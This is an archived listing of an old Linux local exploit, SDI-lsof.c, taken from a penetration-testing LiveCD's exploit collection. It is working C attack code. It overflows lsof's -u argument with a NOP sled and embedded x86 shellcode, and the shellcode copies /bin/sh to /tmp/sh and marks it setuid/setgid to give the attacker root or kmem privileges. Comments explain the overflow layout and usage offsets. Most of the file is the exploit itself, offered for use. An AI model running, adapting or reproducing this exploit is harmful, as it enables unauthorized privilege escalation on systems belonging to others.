home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / SDI-lsof.c < prev    next >
Text File  |  2005-02-12  |  2KB  |  78 lines

  1. /*
  2.  * Sekure SDI (Brazilian Information Security Team)
  3.  * lsof local exploit for linux
  4.  * by c0nd0r <condor@sekure.org>
  5.  *
  6.  * Security problem found by HERT. (www.hert.org)
  7.  *
  8.  * -> This little tool will bring you a suid or sgid shell owned by lsof
  9.  *    user (root|kmem usually) at /tmp directory (/tmp/sh).
  10.  *
  11.  * -----------------------------------------------------------------------
  12.  * Code explanation: We've used a unsual technique here.
  13.  * The buffer allocated was too small for the standard expl, so we did a
  14.  * little trick, by overflowing with 'A' till reaching the ret address and
  15.  * then we've filled with NOP and the shellcode just after the modified
  16.  * ret address. So we have a different exploit architeture:
  17.  * [garbage][eip modified][lotsa NOP's][shellcode]
  18.  * That's why we need a bigger offset.
  19.  * -----------------------------------------------------------------------
  20.  *
  21.  * usage ( needa have a little brain):
  22.  *  ./SDI-lsof <offset> (between 373-505)
  23.  *
  24.  * 4 phun - http://www.sekure.org
  25.  * Thanks to jamez, dumped, bishop, bahamas, slide, falcon, vader
  26.  * and guys at #uground (irc.brasnet.org network)
  27.  *
  28.  */
  29.  
  30.  
  31. /* change the lsof path if it's needed */
  32. #define PATH "/usr/bin/lsof"
  33.  
  34.  
  35. char shellcode[] =
  36.         "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
  37.         "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
  38.         "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
  39.         "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
  40.         "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";
  41.  
  42.  
  43. unsigned long getsp ( void) {
  44.   __asm__("mov %esp,%eax");
  45. }
  46.  
  47. main ( int argc, char *argv[0]) {
  48.   char b00m[220];
  49.   long addr;
  50.   int x, y, offset=380;
  51.  
  52.   if (argc > 1) offset = atoi(argv[1]);
  53.  
  54.   for (x = 0; x < 16; x++)
  55.     b00m[x] = 'A';
  56.  
  57.   addr = getsp() + offset;
  58.   printf ( "SDI-lsof exploiting at 0x%x\n", addr);
  59.  
  60.   b00m[x++] = addr & 0x000000ff;
  61.   b00m[x++] = (addr & 0x0000ff00) >> 8;
  62.   b00m[x++] = (addr & 0x00ff0000) >> 16;
  63.   b00m[x++] = (addr & 0xff000000) >> 24;
  64.  
  65.   for ( ; x < 100; x++)
  66.     b00m[x] = 0x90;
  67.  
  68.   for (y = 0; y < strlen(shellcode); y++, x++)
  69.     b00m[x] = shellcode[y];
  70.  
  71.   b00m[strlen(b00m)] = '\0';
  72.  
  73.   printf ( "\nFind a suid shell at /tmp/sh...\n\n");
  74.   execl ( PATH, PATH, "-u", b00m, (char *)0);
  75.   perror ( "execl") ;
  76.  
  77. }
  78.